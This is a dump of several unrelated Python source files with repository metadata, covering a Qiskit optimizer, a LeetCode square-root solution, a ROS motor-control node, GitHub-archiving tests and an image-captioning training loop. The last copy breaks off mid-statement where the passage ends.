self._qubo_converter = QuadraticProgramToQubo() def get_compatibility_msg(self, problem: QuadraticProgram) -> str: return QuadraticProgramToQubo.get_compatibility_msg(problem) def solve(self, problem: QuadraticProgram) -> OptimizationResult: self._verify_compatibility(problem) problem_ = self._qubo_converter.convert(problem) problem_ref = deepcopy(problem_) replacements = {} min_eigen_results = [] while problem_.get_num_vars() > self._min_num_vars: res = self._min_eigen_optimizer.solve(problem_) if self._history == IntermediateResult.ALL_ITERATIONS: min_eigen_results.append(res) correlations = res.get_correlations() i, j = self._find_strongest_correlation(correlations) x_i = problem_.variables[i].name x_j = problem_.variables[j].name if correlations[i, j] > 0: problem_ = problem_.substitute_variables(variables={i: (j, 1)}) if problem_.status == QuadraticProgram.Status.INFEASIBLE: raise QiskitOptimizationError('Infeasible due to variable substitution') replacements[x_i] = (x_j, 1) else: constant = problem_.objective.constant constant += problem_.objective.linear[i] constant += problem_.objective.quadratic[i, i] problem_.objective.constant = constant for k in range(problem_.get_num_vars()): coeff = problem_.objective.linear[k] if k == i: coeff += 2*problem_.objective.quadratic[i, k] else: coeff += problem_.objective.quadratic[i, k] if np.abs(coeff) > 1e-10: problem_.objective.linear[k] = coeff else: problem_.objective.linear[k] = 0 problem_ = problem_.substitute_variables(variables={i: (j, -1)}) if problem_.status == QuadraticProgram.Status.INFEASIBLE: raise QiskitOptimizationError('Infeasible due to variable substitution') replacements[x_i] = (x_j, -1) result = self._min_num_vars_optimizer.solve(problem_) var_values = {} for i, x in enumerate(problem_.variables): var_values[x.name] = result.x[i] def find_value(x, replacements, var_values): if x in var_values: return var_values[x] elif x in replacements: (y, sgn) = replacements[x] value = find_value(y, replacements, var_values) var_values[x] = value if sgn == 1 else 1 - value return var_values[x] else: raise QiskitOptimizationError('Invalid values!') for x_i in problem_ref.variables: if x_i.name not in var_values: find_value(x_i.name, replacements, var_values) history = (min_eigen_results, None if self._history == IntermediateResult.NO_ITERATIONS else result) x_v = [var_values[x_aux.name] for x_aux in problem_ref.variables] fval = result.fval result = OptimizationResult(x=x_v, fval=fval, variables=problem_ref.variables) result = self._qubo_converter.interpret(result) return RecursiveMinimumEigenOptimizationResult(x=result.x, fval=result.fval, variables=result.variables, replacements=replacements, history=history) def _find_strongest_correlation(self, correlations): abs_correlations = np.abs(correlations) for i in range(len(correlations)): abs_correlations[i, i] = -1 m_max = np.argmax(abs_correlations.flatten()) i = int(m_max // len(correlations)) j = int(m_max - i*len(correlations)) return (i, j)

true

790c6bbc06bf28c97b8abd222424095a64d7b052

335

py

Python

SEARCHING/EASY/Sqrt(x)/Code.py

HassanRahim26/LEETCODE

c0ec81b037ff7b2d6e6030ac9835c21ed825100f

[ "MIT" ]

3

2021-08-31T11:02:28.000Z

2022-01-17T08:07:00.000Z

SEARCHING/EASY/Sqrt(x)/Code.py

HassanRahim26/LEETCODE

c0ec81b037ff7b2d6e6030ac9835c21ed825100f

[ "MIT" ]

null

SEARCHING/EASY/Sqrt(x)/Code.py

HassanRahim26/LEETCODE

c0ec81b037ff7b2d6e6030ac9835c21ed825100f

[ "MIT" ]

null

# PROBLEM LINK:- https://leetcode.com/problems/sqrtx/ class Solution: def mySqrt(self, x): a = 1e-6 low = 1 high = x while high - low > a: mid = (high + low)/2 if mid * mid < x: low = mid else: high = mid return int(high)

22.333333

53

0.426866

class Solution: def mySqrt(self, x): a = 1e-6 low = 1 high = x while high - low > a: mid = (high + low)/2 if mid * mid < x: low = mid else: high = mid return int(high)

true

790c6d754b2f6b4a829eb710e03b699641ff0b23

551

py

Python

src/version.py

StevenBaby/chess

1aa3065d974351df58a5620c78ca80a10a385321

[ "MIT" ]

10

2021-06-17T21:45:59.000Z

2022-03-23T04:02:45.000Z

src/version.py

StevenBaby/chess

1aa3065d974351df58a5620c78ca80a10a385321

[ "MIT" ]

2

2021-05-30T11:52:44.000Z

2021-06-29T11:06:31.000Z

src/version.py

StevenBaby/chess

1aa3065d974351df58a5620c78ca80a10a385321

[ "MIT" ]

1

2021-06-19T03:41:23.000Z

# coding=utf-8 VERSION = '1.8.1' __VERSION__ = VERSION def increase(): import os import re filename = os.path.abspath(__file__) with open(filename, encoding='utf8') as file: content = file.read() match = re.search(r"VERSION = '(\d+).(\d+).(\d+)'", content) old = f'{match.group(1)}.{match.group(2)}.{match.group(3)}' new = f'{match.group(1)}.{match.group(2)}.{int(match.group(3)) + 1}' content = content.replace(old, new) with open(filename, 'w', encoding='utf8') as file: file.write(content)

25.045455

72

0.598911

VERSION = '1.8.1' __VERSION__ = VERSION def increase(): import os import re filename = os.path.abspath(__file__) with open(filename, encoding='utf8') as file: content = file.read() match = re.search(r"VERSION = '(\d+).(\d+).(\d+)'", content) old = f'{match.group(1)}.{match.group(2)}.{match.group(3)}' new = f'{match.group(1)}.{match.group(2)}.{int(match.group(3)) + 1}' content = content.replace(old, new) with open(filename, 'w', encoding='utf8') as file: file.write(content)

true

790c6d832bf56b9e7c35fdae1589b565cce84fd9

147

py

Python

src/backend/tests/factories/record_factory.py

NickSchimek/recordexpungPDX

34ed0f3cb5b7368a935a11306d3143d0d154c2de

[ "CNRI-Python", "RSA-MD", "Xnet", "Linux-OpenIB", "FTL", "X11" ]

null

src/backend/tests/factories/record_factory.py

NickSchimek/recordexpungPDX

34ed0f3cb5b7368a935a11306d3143d0d154c2de

[ "CNRI-Python", "RSA-MD", "Xnet", "Linux-OpenIB", "FTL", "X11" ]

93

2019-12-07T01:43:50.000Z

2021-08-01T13:30:44.000Z

src/backend/tests/factories/record_factory.py

NickSchimek/recordexpungPDX

34ed0f3cb5b7368a935a11306d3143d0d154c2de

[ "CNRI-Python", "RSA-MD", "Xnet", "Linux-OpenIB", "FTL", "X11" ]

null

from expungeservice.models.record import Record class RecordFactory: @staticmethod def create(cases): return Record(list(cases))

18.375

47

0.727891

from expungeservice.models.record import Record class RecordFactory: @staticmethod def create(cases): return Record(list(cases))

true

790c6e105d00aa08941205a5c43b27df00b37ef3

1,383

py

Python

deprecated/led_control.py

isarlab-department-engineering/ros_dt_stop_light_detection

32d0e9f0c4a9f80510c450adc87764444e910d31

[ "BSD-3-Clause" ]

null

deprecated/led_control.py

isarlab-department-engineering/ros_dt_stop_light_detection

32d0e9f0c4a9f80510c450adc87764444e910d31

[ "BSD-3-Clause" ]

null

deprecated/led_control.py

isarlab-department-engineering/ros_dt_stop_light_detection

32d0e9f0c4a9f80510c450adc87764444e910d31

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # this node will be implemented on the master node # this is a test script for drive motor # in function of stop and front lights detection # this script will be implemented in another node # import libraries import rospy,sys,time,atexit,numpy from std_msgs.msg import String,Int16MultiArray # define variables avoidingVehicle = False array = Int16MultiArray() array.data = [] controlPub = rospy.Publisher("cmd",Int16MultiArray,queue_size=1) def turnOffMotors(): array.data = [0,0,0,0] controlPub.publish(array) def setSpeed(motor1,motor2): if motor1 == 0 and motor2 == 0: turnOffMotors() else: array.data = [motor1,motor2,0,0] controlPub.publish(array) def avoidVehicle(): global avoidingVehicle turnOffMotors() avoidingVehicle = False def callback(data): global avoidingVehicle rospy.loginfo(rospy.get_caller_id() +" Led control String received: %s",data.data) if data.data == "stop" : turnOffMotors() elif (data.data == "front" and avoidingVehicle == False): avoidingVehicle = True avoidVehicle() elif data.data == "w": setSpeed(150,150) elif data.data == "s": turnOffMotors() def led_control(): rospy.init_node('led_control',anonymous=True) rospy.Subscriber('led_control_topic',String,callback) try: rospy.spin() except KeyboardInterrupt: print("Shutting down") if __name__ == '__main__': led_control()

23.844828

83

0.737527

import rospy,sys,time,atexit,numpy from std_msgs.msg import String,Int16MultiArray avoidingVehicle = False array = Int16MultiArray() array.data = [] controlPub = rospy.Publisher("cmd",Int16MultiArray,queue_size=1) def turnOffMotors(): array.data = [0,0,0,0] controlPub.publish(array) def setSpeed(motor1,motor2): if motor1 == 0 and motor2 == 0: turnOffMotors() else: array.data = [motor1,motor2,0,0] controlPub.publish(array) def avoidVehicle(): global avoidingVehicle turnOffMotors() avoidingVehicle = False def callback(data): global avoidingVehicle rospy.loginfo(rospy.get_caller_id() +" Led control String received: %s",data.data) if data.data == "stop" : turnOffMotors() elif (data.data == "front" and avoidingVehicle == False): avoidingVehicle = True avoidVehicle() elif data.data == "w": setSpeed(150,150) elif data.data == "s": turnOffMotors() def led_control(): rospy.init_node('led_control',anonymous=True) rospy.Subscriber('led_control_topic',String,callback) try: rospy.spin() except KeyboardInterrupt: print("Shutting down") if __name__ == '__main__': led_control()

true

790c6e1bd0f1dc5b21d694dc4c0d511cdb5ede6d

415

py

Python

videomaker/functions/savePreset.py

TheTimebike/VideoMaker-Studio

289fd3b9f3c27d298ee94b1e79415a20ec084c4c

[ "MIT" ]

4

2019-03-03T12:10:20.000Z

2021-09-05T12:30:25.000Z

videomaker/functions/savePreset.py

TheTimebike/VideoMaker-Studio

289fd3b9f3c27d298ee94b1e79415a20ec084c4c

[ "MIT" ]

null

videomaker/functions/savePreset.py

TheTimebike/VideoMaker-Studio

289fd3b9f3c27d298ee94b1e79415a20ec084c4c

[ "MIT" ]

2

2019-03-27T23:40:34.000Z

2019-10-07T11:09:32.000Z

import json from videomaker.functions.packageData import packageData from videomaker.functions.addPreset import addOption def savePreset(focus): preset = packageData(focus, verify=False) with open("./presets/{0}.json".format(preset["subredditName"]), "w+") as out: json.dump(preset, out, indent=4) addOption(focus, "./presets/{0}.json".format(preset["subredditName"]), preset["subredditName"])

41.5

99

0.73253

import json from videomaker.functions.packageData import packageData from videomaker.functions.addPreset import addOption def savePreset(focus): preset = packageData(focus, verify=False) with open("./presets/{0}.json".format(preset["subredditName"]), "w+") as out: json.dump(preset, out, indent=4) addOption(focus, "./presets/{0}.json".format(preset["subredditName"]), preset["subredditName"])

true

790c7007d3b665975df26aa73591e924e9115794

6,815

py

Python

github_archive/test/test_get_github.py

hellkite500/github_scrape

e9d3b10b434349e08a92ef97e8414c8b9f0c7584

[ "CC0-1.0" ]

null

github_archive/test/test_get_github.py

hellkite500/github_scrape

e9d3b10b434349e08a92ef97e8414c8b9f0c7584

[ "CC0-1.0" ]

null

github_archive/test/test_get_github.py

hellkite500/github_scrape

e9d3b10b434349e08a92ef97e8414c8b9f0c7584

[ "CC0-1.0" ]

null

import unittest from typing import Optional from pathlib import Path from time import strftime, gmtime from github import Github import json import yaml from .. import get_repo_meta, clone_and_archive from ..get_github import dump_list from pathlib import Path class TestGetGithub(unittest.TestCase): """ Test coverage for the get_github module """ _current_dir = Path(__file__).resolve().parent #BORROWED from https://github.com/NOAA-OWP/DMOD/blob/master/python/lib/scheduler/dmod/test/it_redisManager.py @classmethod def find_project_root_directory(cls, current_directory: Optional[Path]) -> Optional[Path]: """ Given a directory (with ``None`` implying the current directory) assumed to be at or under this project's root, find the project root directory. This implementation attempts to find a directory having both a ``.git/`` child directory and a ``.env`` file. Parameters ---------- current_directory Returns ------- Optional[Path] The project root directory, or ``None`` if it fails to find it. """ if not current_directory: current_directory = TestGetGithub._current_dir abs_root = Path(current_directory.absolute().root) while current_directory.absolute() != abs_root: if not current_directory.is_dir(): current_directory = current_directory.parent continue git_sub_dir = current_directory.joinpath('.git') child_env_file = current_directory.joinpath('config.yaml') if git_sub_dir.exists() and git_sub_dir.is_dir() and child_env_file.exists() and child_env_file.is_file(): return current_directory current_directory = current_directory.parent return None @classmethod def load_token(cls): """ Read an API token from a configuration file, if none found, use '' for no auth """ token = '' root_dir = cls.find_project_root_directory(None) if not root_dir: return token config_file = root_dir/'config.yaml' if config_file.exists(): with open(config_file) as file: config = yaml.load(file, Loader=yaml.FullLoader) try: token = config['token'] except: print("Unable to load api-token from project root directory config.yaml") return token def setUp(self): self.token = self.load_token() if self.token: #Token auth github, higher rate limit self.github = Github(self.token) else: #Anonimous github, severly rate limited API self.github = Github() self.org_string = 'NOAA-OWP' self.repo_string = 'owp-open-source-project-template' self.repo_w_wiki = 'DMOD' self.org = self.github.get_organization(self.org_string) self.wiki_repo = self.org.get_repo(self.repo_w_wiki) self.repo = self.org.get_repo(self.repo_string) self.time = strftime("%Y-%m-%d_%H:%M:%S", gmtime()) def tearDown(self): for p in Path(TestGetGithub._current_dir).glob("*.json"): if p.is_file(): p.unlink() for p in Path(TestGetGithub._current_dir).glob("*.tar.gz"): if p.is_file(): p.unlink() def test_get_repo_meta(self): """ Test the archive_repo function to ensure all meta data is properly captured """ meta = get_repo_meta(self.repo, self.time, TestGetGithub._current_dir) self.assertIsNotNone(meta) self.assertTrue(len(meta), 6) #defer name substitution pattern = "{repo}_{name}_{time}.json".format(repo=self.repo_string, name="{name}", time=self.time) self.assertEqual(meta[0].name, pattern.format(name='comments')) self.assertEqual(meta[1].name, pattern.format(name='issues')) self.assertEqual(meta[2].name, pattern.format(name='issue_comments')) self.assertEqual(meta[3].name, pattern.format(name='pulls')) self.assertEqual(meta[4].name, pattern.format(name='pulls_comments')) self.assertEqual(meta[5].name, pattern.format(name='pulls_review_comments')) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='comments')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='issues')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='issue_comments')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='pulls')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='pulls_comments')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='pulls_review_comments')).exists()) def test_clone_and_archive(self): """ Test the clone functionality """ #Sorta hackily testing the archive_repo logic here...FIXME later #FIXME has_wiki is broke!!! self.assertFalse(self.repo.has_wiki) clone_url = self.repo.clone_url archive_name = clone_and_archive(self.repo_string, clone_url, self.time, TestGetGithub._current_dir, []) name = '{repo}_github_archive_{time}.tar.gz'.format(repo=self.repo_string, time=self.time) self.assertEqual(archive_name.name, name) self.assertTrue((TestGetGithub._current_dir/name).exists()) #TODO test existence of repo in archive def test_clone_and_archive_1(self): """ Test cloning a repo with a wiki """ #Sorta hackily testing the archive_repo logic here...FIXME later self.assertTrue(self.wiki_repo.has_wiki) wiki_url = self.wiki_repo.clone_url[:-3]+'wiki.git' #finally get the repo code itself clone_url = self.wiki_repo.clone_url archive_name = clone_and_archive(self.repo_w_wiki, clone_url, self.time, TestGetGithub._current_dir, [], wiki_url) name = '{repo}_github_archive_{time}.tar.gz'.format(repo=self.repo_w_wiki, time=self.time) self.assertEqual(archive_name.name, name) self.assertTrue((TestGetGithub._current_dir/name).exists()) #TODO test existense of wiki in archive @unittest.skip("Incomplete mock implementation for dumped item") def test_dump_list(self): pass #Quick json format test for list objects outfile = dump_list("test_repo", self.time, TestGetGithub._current_dir, "test_key", [ '{json=dict, test=values}', 'json=dict2, test=values2}']) with open(outfile) as fp: data = json.load(fp) self.assertTrue(data['json'], 'dict')

44.253247

151

0.650624

import unittest from typing import Optional from pathlib import Path from time import strftime, gmtime from github import Github import json import yaml from .. import get_repo_meta, clone_and_archive from ..get_github import dump_list from pathlib import Path class TestGetGithub(unittest.TestCase): _current_dir = Path(__file__).resolve().parent @classmethod def find_project_root_directory(cls, current_directory: Optional[Path]) -> Optional[Path]: if not current_directory: current_directory = TestGetGithub._current_dir abs_root = Path(current_directory.absolute().root) while current_directory.absolute() != abs_root: if not current_directory.is_dir(): current_directory = current_directory.parent continue git_sub_dir = current_directory.joinpath('.git') child_env_file = current_directory.joinpath('config.yaml') if git_sub_dir.exists() and git_sub_dir.is_dir() and child_env_file.exists() and child_env_file.is_file(): return current_directory current_directory = current_directory.parent return None @classmethod def load_token(cls): token = '' root_dir = cls.find_project_root_directory(None) if not root_dir: return token config_file = root_dir/'config.yaml' if config_file.exists(): with open(config_file) as file: config = yaml.load(file, Loader=yaml.FullLoader) try: token = config['token'] except: print("Unable to load api-token from project root directory config.yaml") return token def setUp(self): self.token = self.load_token() if self.token: self.github = Github(self.token) else: self.github = Github() self.org_string = 'NOAA-OWP' self.repo_string = 'owp-open-source-project-template' self.repo_w_wiki = 'DMOD' self.org = self.github.get_organization(self.org_string) self.wiki_repo = self.org.get_repo(self.repo_w_wiki) self.repo = self.org.get_repo(self.repo_string) self.time = strftime("%Y-%m-%d_%H:%M:%S", gmtime()) def tearDown(self): for p in Path(TestGetGithub._current_dir).glob("*.json"): if p.is_file(): p.unlink() for p in Path(TestGetGithub._current_dir).glob("*.tar.gz"): if p.is_file(): p.unlink() def test_get_repo_meta(self): meta = get_repo_meta(self.repo, self.time, TestGetGithub._current_dir) self.assertIsNotNone(meta) self.assertTrue(len(meta), 6) pattern = "{repo}_{name}_{time}.json".format(repo=self.repo_string, name="{name}", time=self.time) self.assertEqual(meta[0].name, pattern.format(name='comments')) self.assertEqual(meta[1].name, pattern.format(name='issues')) self.assertEqual(meta[2].name, pattern.format(name='issue_comments')) self.assertEqual(meta[3].name, pattern.format(name='pulls')) self.assertEqual(meta[4].name, pattern.format(name='pulls_comments')) self.assertEqual(meta[5].name, pattern.format(name='pulls_review_comments')) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='comments')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='issues')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='issue_comments')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='pulls')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='pulls_comments')).exists()) self.assertTrue((TestGetGithub._current_dir/pattern.format(name='pulls_review_comments')).exists()) def test_clone_and_archive(self): self.assertFalse(self.repo.has_wiki) clone_url = self.repo.clone_url archive_name = clone_and_archive(self.repo_string, clone_url, self.time, TestGetGithub._current_dir, []) name = '{repo}_github_archive_{time}.tar.gz'.format(repo=self.repo_string, time=self.time) self.assertEqual(archive_name.name, name) self.assertTrue((TestGetGithub._current_dir/name).exists()) def test_clone_and_archive_1(self): self.assertTrue(self.wiki_repo.has_wiki) wiki_url = self.wiki_repo.clone_url[:-3]+'wiki.git' clone_url = self.wiki_repo.clone_url archive_name = clone_and_archive(self.repo_w_wiki, clone_url, self.time, TestGetGithub._current_dir, [], wiki_url) name = '{repo}_github_archive_{time}.tar.gz'.format(repo=self.repo_w_wiki, time=self.time) self.assertEqual(archive_name.name, name) self.assertTrue((TestGetGithub._current_dir/name).exists()) @unittest.skip("Incomplete mock implementation for dumped item") def test_dump_list(self): pass outfile = dump_list("test_repo", self.time, TestGetGithub._current_dir, "test_key", [ '{json=dict, test=values}', 'json=dict2, test=values2}']) with open(outfile) as fp: data = json.load(fp) self.assertTrue(data['json'], 'dict')

true

790c7063d06c1fc8c43a95332b64d7e32dc32159

14,307

py

Python

trainer/trainer.py

Renovamen/Image-Captioning

de8d4f553a22e967fa56a01d5b4a2206b9431771

[ "MIT" ]

5

2020-11-03T16:08:18.000Z

2022-01-17T03:56:15.000Z

trainer/trainer.py

Renovamen/Image-Caption

de8d4f553a22e967fa56a01d5b4a2206b9431771

[ "MIT" ]

null

trainer/trainer.py

Renovamen/Image-Caption

de8d4f553a22e967fa56a01d5b4a2206b9431771

[ "MIT" ]

1

2020-11-03T11:29:36.000Z

import time from typing import Optional, Dict import torch from torch import nn, optim from torch.utils.data import DataLoader from torch.nn.utils.rnn import pack_padded_sequence from utils import TensorboardWriter, AverageMeter, save_checkpoint, accuracy, \ clip_gradient, adjust_learning_rate from metrics import Metrics class Trainer: """ Encoder-decoder pipeline. Tearcher Forcing is used during training and validation. Parameters ---------- caption_model : str Type of the caption model epochs : int We should train the model for __ epochs device : torch.device Use GPU or not word_map : Dict[str, int] Word2id map rev_word_map : Dict[int, str] Id2word map start_epoch : int We should start training the model from __th epoch epochs_since_improvement : int Number of epochs since last improvement in BLEU-4 score best_bleu4 : float Best BLEU-4 score until now train_loader : DataLoader DataLoader for training data val_loader : DataLoader DataLoader for validation data encoder : nn.Module Encoder (based on CNN) decoder : nn.Module Decoder (based on LSTM) encoder_optimizer : optim.Optimizer Optimizer for encoder (Adam) (if fine-tune) decoder_optimizer : optim.Optimizer Optimizer for decoder (Adam) loss_function : nn.Module Loss function (cross entropy) grad_clip : float Gradient threshold in clip gradients tau : float Penalty term τ for doubly stochastic attention in paper: show, attend and tell fine_tune_encoder : bool Fine-tune encoder or not tensorboard : bool, optional, default=False Enable tensorboard or not? log_dir : str, optional Path to the folder to save logs for tensorboard """ def __init__( self, caption_model: str, epochs: int, device: torch.device, word_map: Dict[str, int], rev_word_map: Dict[int, str], start_epoch: int, epochs_since_improvement: int, best_bleu4: float, train_loader: DataLoader, val_loader: DataLoader, encoder: nn.Module, decoder: nn.Module, encoder_optimizer: optim.Optimizer, decoder_optimizer: optim.Optimizer, loss_function: nn.Module, grad_clip: float, tau: float, fine_tune_encoder: bool, tensorboard: bool = False, log_dir: Optional[str] = None ) -> None: self.device = device # GPU / CPU self.caption_model = caption_model self.epochs = epochs self.word_map = word_map self.rev_word_map = rev_word_map self.start_epoch = start_epoch self.epochs_since_improvement = epochs_since_improvement self.best_bleu4 = best_bleu4 self.train_loader = train_loader self.val_loader = val_loader self.encoder = encoder self.decoder = decoder self.encoder_optimizer = encoder_optimizer self.decoder_optimizer = decoder_optimizer self.loss_function = loss_function self.tau = tau self.grad_clip = grad_clip self.fine_tune_encoder = fine_tune_encoder self.print_freq = 100 # print training/validation stats every __ batches # setup visualization writer instance self.writer = TensorboardWriter(log_dir, tensorboard) self.len_epoch = len(self.train_loader) def train(self, epoch: int) -> None: """ Train an epoch Parameters ---------- epoch : int Current number of epoch """ self.decoder.train() # train mode (dropout and batchnorm is used) self.encoder.train() batch_time = AverageMeter() # forward prop. + back prop. time data_time = AverageMeter() # data loading time losses = AverageMeter(tag='loss', writer=self.writer) # loss (per word decoded) top5accs = AverageMeter(tag='top5acc', writer=self.writer) # top5 accuracy start = time.time() # batches for i, (imgs, caps, caplens) in enumerate(self.train_loader): data_time.update(time.time() - start) # Move to GPU, if available imgs = imgs.to(self.device) caps = caps.to(self.device) caplens = caplens.to(self.device) # forward encoder imgs = self.encoder(imgs) # forward decoder if self.caption_model == 'att2all': scores, caps_sorted, decode_lengths, alphas, sort_ind = self.decoder(imgs, caps, caplens) else: scores, caps_sorted, decode_lengths, sort_ind = self.decoder(imgs, caps, caplens) # since we decoded starting with <start>, the targets are all words after <start>, up to <end> targets = caps_sorted[:, 1:] # remove timesteps that we didn't decode at, or are pads # pack_padded_sequence is an easy trick to do this scores = pack_padded_sequence(scores, decode_lengths, batch_first=True)[0] targets = pack_padded_sequence(targets, decode_lengths, batch_first=True)[0] # calc loss loss = self.loss_function(scores, targets) # doubly stochastic attention regularization (in paper: show, attend and tell) if self.caption_model == 'att2all': loss += self.tau * ((1. - alphas.sum(dim = 1)) ** 2).mean() # clear gradient of last batch self.decoder_optimizer.zero_grad() if self.encoder_optimizer is not None: self.encoder_optimizer.zero_grad() # backward loss.backward() # clip gradients if self.grad_clip is not None: clip_gradient(self.decoder_optimizer, self.grad_clip) if self.encoder_optimizer is not None: clip_gradient(self.encoder_optimizer, self.grad_clip) # update weights self.decoder_optimizer.step() if self.encoder_optimizer is not None: self.encoder_optimizer.step() # set step for tensorboard step = (epoch - 1) * self.len_epoch + i self.writer.set_step(step=step, mode='train') # keep track of metrics top5 = accuracy(scores, targets, 5) losses.update(loss.item(), sum(decode_lengths)) top5accs.update(top5, sum(decode_lengths)) batch_time.update(time.time() - start) start = time.time() # print status if i % self.print_freq == 0: print( 'Epoch: [{0}][{1}/{2}]\t' 'Batch Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Data Load Time {data_time.val:.3f} ({data_time.avg:.3f})\t' 'Loss {loss.val:.4f} ({loss.avg:.4f})\t' 'Top-5 Accuracy {top5.val:.3f} ({top5.avg:.3f})'.format( epoch, i, len(self.train_loader), batch_time = batch_time, data_time = data_time, loss = losses, top5 = top5accs ) ) def validate(self) -> float: """ Validate an epoch. Returns ------- bleu4 : float BLEU-4 score """ self.decoder.eval() # eval mode (no dropout or batchnorm) if self.encoder is not None: self.encoder.eval() batch_time = AverageMeter() losses = AverageMeter() top5accs = AverageMeter() start = time.time() ground_truth = list() # ground_truth (true captions) for calculating BLEU-4 score prediction = list() # prediction (predicted captions) # explicitly disable gradient calculation to avoid CUDA memory error # solves the issue #57 with torch.no_grad(): # Batches for i, (imgs, caps, caplens, allcaps) in enumerate(self.val_loader): # move to device, if available imgs = imgs.to(self.device) caps = caps.to(self.device) caplens = caplens.to(self.device) # forward encoder if self.encoder is not None: imgs = self.encoder(imgs) # forward decoder if self.caption_model == 'att2all': scores, caps_sorted, decode_lengths, alphas, sort_ind = self.decoder(imgs, caps, caplens) else: scores, caps_sorted, decode_lengths, sort_ind = self.decoder(imgs, caps, caplens) # since we decoded starting with <start>, the targets are all words after <start>, up to <end> targets = caps_sorted[:, 1:] # remove timesteps that we didn't decode at, or are pads # pack_padded_sequence is an easy trick to do this scores_copy = scores.clone() scores = pack_padded_sequence(scores, decode_lengths, batch_first = True)[0] targets = pack_padded_sequence(targets, decode_lengths, batch_first = True)[0] # calc loss loss = self.loss_function(scores, targets) # doubly stochastic attention regularization (in paper: show, attend and tell) if self.caption_model == 'att2all': loss += self.tau * ((1. - alphas.sum(dim = 1)) ** 2).mean() # keep track of metrics losses.update(loss.item(), sum(decode_lengths)) top5 = accuracy(scores, targets, 5) top5accs.update(top5, sum(decode_lengths)) batch_time.update(time.time() - start) start = time.time() if i % self.print_freq == 0: print('Validation: [{0}/{1}]\t' 'Batch Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Loss {loss.val:.4f} ({loss.avg:.4f})\t' 'Top-5 Accuracy {top5.val:.3f} ({top5.avg:.3f})\t'.format(i, len(self.val_loader), batch_time = batch_time, loss = losses, top5 = top5accs) ) # store ground truth captions and predicted captions of each image # for n images, each of them has one prediction and multiple ground truths (a, b, c...): # prediction = [ [hyp1], [hyp2], ..., [hypn] ] # ground_truth = [ [ [ref1a], [ref1b], [ref1c] ], ..., [ [refna], [refnb] ] ] # ground truth allcaps = allcaps[sort_ind] # because images were sorted in the decoder for j in range(allcaps.shape[0]): img_caps = allcaps[j].tolist() img_captions = list( map( lambda c: [w for w in c if w not in {self.word_map['<start>'], self.word_map['<pad>']}], img_caps ) ) # remove <start> and pads ground_truth.append(img_captions) # prediction _, preds = torch.max(scores_copy, dim = 2) preds = preds.tolist() temp_preds = list() for j, p in enumerate(preds): temp_preds.append(preds[j][:decode_lengths[j]]) # remove pads preds = temp_preds prediction.extend(preds) assert len(ground_truth) == len(prediction) # calc BLEU-4 and CIDEr score metrics = Metrics(ground_truth, prediction, self.rev_word_map) bleu4 = metrics.belu[3] # BLEU-4 cider = metrics.cider # CIDEr print( '\n * LOSS - {loss.avg:.3f}, TOP-5 ACCURACY - {top5.avg:.3f}, BLEU-4 - {bleu}, CIDEr - {cider}\n'.format( loss = losses, top5 = top5accs, bleu = bleu4, cider = cider ) ) return bleu4 def run_train(self) -> None: # epochs for epoch in range(self.start_epoch, self.epochs): # decay learning rate if there is no improvement for 8 consecutive epochs # terminate training if there is no improvement for 20 consecutive epochs if self.epochs_since_improvement == 20: break if self.epochs_since_improvement > 0 and self.epochs_since_improvement % 8 == 0: adjust_learning_rate(self.decoder_optimizer, 0.8) if self.fine_tune_encoder: adjust_learning_rate(self.encoder_optimizer, 0.8) # train an epoch self.train(epoch = epoch) # validate an epoch recent_bleu4 = self.validate() # epochs num since last improvement is_best = recent_bleu4 > self.best_bleu4 self.best_bleu4 = max(recent_bleu4, self.best_bleu4) if not is_best: self.epochs_since_improvement += 1 print("\nEpochs since last improvement: %d\n" % (self.epochs_since_improvement,)) else: self.epochs_since_improvement = 0 # save checkpoint save_checkpoint( epoch = epoch, epochs_since_improvement = self.epochs_since_improvement, encoder = self.encoder, decoder = self.decoder, encoder_optimizer = self.encoder_optimizer, decoder_optimizer = self.decoder_optimizer, caption_model = self.caption_model, bleu4 = recent_bleu4, is_best = is_best )

36.77892

121

0.551618

import time from typing import Optional, Dict import torch from torch import nn, optim from torch.utils.data import DataLoader from torch.nn.utils.rnn import pack_padded_sequence from utils import TensorboardWriter, AverageMeter, save_checkpoint, accuracy, \ clip_gradient, adjust_learning_rate from metrics import Metrics class Trainer: def __init__( self, caption_model: str, epochs: int, device: torch.device, word_map: Dict[str, int], rev_word_map: Dict[int, str], start_epoch: int, epochs_since_improvement: int, best_bleu4: float, train_loader: DataLoader, val_loader: DataLoader, encoder: nn.Module, decoder: nn.Module, encoder_optimizer: optim.Optimizer, decoder_optimizer: optim.Optimizer, loss_function: nn.Module, grad_clip: float, tau: float, fine_tune_encoder: bool, tensorboard: bool = False, log_dir: Optional[str] = None ) -> None: self.device = device self.caption_model = caption_model self.epochs = epochs self.word_map = word_map self.rev_word_map = rev_word_map self.start_epoch = start_epoch self.epochs_since_improvement = epochs_since_improvement self.best_bleu4 = best_bleu4 self.train_loader = train_loader self.val_loader = val_loader self.encoder = encoder self.decoder = decoder self.encoder_optimizer = encoder_optimizer self.decoder_optimizer = decoder_optimizer self.loss_function = loss_function self.tau = tau self.grad_clip = grad_clip self.fine_tune_encoder = fine_tune_encoder self.print_freq = 100 self.writer = TensorboardWriter(log_dir, tensorboard) self.len_epoch = len(self.train_loader) def train(self, epoch: int) -> None: self.decoder.train() self.encoder.train() batch_time = AverageMeter() data_time = AverageMeter() losses = AverageMeter(tag='loss', writer=self.writer) top5accs = AverageMeter(tag='top5acc', writer=self.writer) start = time.time() for i, (imgs, caps, caplens) in enumerate(self.train_loader): data_time.update(time.time() - start) imgs = imgs.to(self.device) caps = caps.to(self.device) caplens = caplens.to(self.device) imgs = self.encoder(imgs) if self.caption_model == 'att2all': scores, caps_sorted, decode_lengths, alphas, sort_ind = self.decoder(imgs, caps, caplens) else: scores, caps_sorted, decode_lengths, sort_ind = 